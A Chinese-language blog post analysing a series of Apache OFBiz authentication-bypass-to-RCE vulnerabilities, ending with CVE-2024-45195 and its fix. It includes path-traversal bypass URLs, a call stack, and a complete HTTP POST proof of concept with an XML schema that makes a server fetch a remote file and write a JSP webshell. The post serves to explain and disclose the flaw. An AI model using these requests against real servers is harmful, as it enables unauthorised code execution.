漏洞概要

Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。

前两天OFBiz官方发布了最新的 18.12.16，这次也主要还是对之前的一系列漏洞CVE-2024-32113, CVE-2024-36104 和 CVE-2024-38856 补了又补。看官方的说明，这次终于是修了，这里来一起一探究竟。

CVE-2024-38856的前世

说起 CVE-2024-45195 不得不提到之前的 CVE-2024-38856，但要去看为什么会出现 CVE-2024-38856 ，者还得看之前几乎一模一样的漏洞 CVE-2024-32113 和 CVE-2024-36104。

早在 CVE-2024-32113 攻击者就可以通过路径穿越这种方式，去未授权访问到后台的 ProgramExport 接口去执行任意代码，比如：

https://127.0.0.1:8443/webtools/control/main/../ProgramExport
https://127.0.0.1:8443/webtools/control/main/;/ProgramExport
https://127.0.0.1:8443/webtools/control/main/%2e/%2e/ProgramExport
...

官方也把这个就当成了一个路径穿越的问题，做了各种过滤和限制，

从CVE-2024-32113的对路径进行规范化：

到 CVE-2024-36104对路径进行字符过滤：

但出人意料之外，到了 CVE-2024-38856居然发现不需要这么多花哨的技巧，直接拼接就可以绕过鉴权：

于是在 CVE-2024-38856 的修复中，官方干脆解决不了问题就把发现问题的人解决掉，直接简单粗暴在脚本执行的地方加了鉴权。

这简直是离谱他妈给离谱开门，离谱到家了...

为什么会有CVE-2024-38856

说到这就会产生好奇，那为什么会有 CVE-2024-38856 这个漏洞。这里简要分析下：

从漏洞触发的调用栈中，可以看到的主要的鉴权流程其实就是集中在这三个类：

ControlFilter > ControlServlet > RequestHandler

run:36, ProgramExport
runScriptAtLocation:209, GroovyUtil (org.apache.ofbiz.base.util)
executeScript:342, ScriptUtil (org.apache.ofbiz.base.util)
executeScript:324, ScriptUtil (org.apache.ofbiz.base.util)
runAction:634, AbstractModelAction$Script (org.apache.ofbiz.widget.model)
runSubActions:143, AbstractModelAction (org.apache.ofbiz.widget.model)
renderWidgetString:278, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
doFilter:44, SameSiteFilter (org.apache.ofbiz.webapp.control)
doFilter:191, ContextFilter (org.apache.ofbiz.webapp.control)
doFilter:63, CacheFilter (org.apache.ofbiz.base.util)
doFilter:180, ControlFilter (org.apache.ofbiz.webapp.control)

这几个漏洞最核心的问题就出现在了RequestHandler中，这里简要看一下其中的流程：

1. 1. 在ControlServlet后，流程就会进入到org.apache.ofbiz.webapp.control.RequestHandler#doRequest中，首先加载了配置信息，它会根据我们请求的上下文环境，由ControllerConfig()解析对应的配置文件。

1. 1. 配置文件中主要记录了是否需要鉴权，以及对应的视图等信息，比如可以看到这里ProgramExport 为如下配置：

security 标签中的 auth 为 true说明这里需要登录。

1. 1. 接下来就到了关键的一步，可以看到这里的路径，被拆分成了两个变量，requestUri 此时是main ，而overrideViewUri 则是 ProgramExport。

1. 1. 然后是一些定义的event事件预处理，均通过之后，则会判断路由是否需要认证。但显然这里main路径不需要

1. 1. 最后是到了渲染视图这里，我们发现这里在渲染选取的路径变成overrideViewUri ，由此就导致了前后鉴权逻辑不一致，直接跳过了ProgramExport的鉴权进行了渲染。

1. 1. 剩下来就是ProgramExport去执行groovy脚本了，这里和之前好几个漏洞没有太大差别，就不再赘述。

CVE-2024-45195

那又为什么会有 CVE-2024-45195 这个漏洞，从上面的修复也可以看出，问题的本质没有被解决，虽然ProgramExport不能直接未授权执行代码了，但鉴权的逻辑缺陷还在。

那这岂不是只要在代码中挖掘出另一个可进行代码执行的点，就又是一个RCE？

所以CVE-2024-45195就产生了。这里就举其中一种方式，利用viewdatafile接口将恶意csv文件内容写入到任意文件，来实现写入一个shell：

POST /webtools/control/main/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 241

DATAFILE_LOCATION=http://127.0.0.1:8000/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0"
        encoding-type="UTF-8">
        <record name="rceentry" limit="many">
            <field name="jsp" type="String" length="605" position="0"></field>
        </record>
    </data-file>
</data-files>

然后启动一个http服务将csv和xml放置其中。

随后执行poc即可看到shell被成功写入

如何修复的

如果说前几次就更不没意识到这个问题，才没有修复，那官方这次算是意识到了，除了在各种一系列配置文件中加入了auth配置，更重要的处理方式就是在 RequestHandler 的 renderView 中也加入了鉴权，也就是说后续无论渲染谁这个路径都会去鉴权。

按照官方的说法：

如果用户未经授权，系统不应允许访问渲染的视图。此外，请求映射参数“auth”和“https”的默认值应设置为“true”。此改进旨在通过防止未经授权的访问来增强安全性。

看来这个点可以算是略微告一段落。

-- end --

有用就打赏一下咯～

原文始发于微信公众号（hijackY）：（CVE-2024-45195）Apache OFbiz 一次又一次从未授权到RCE的分析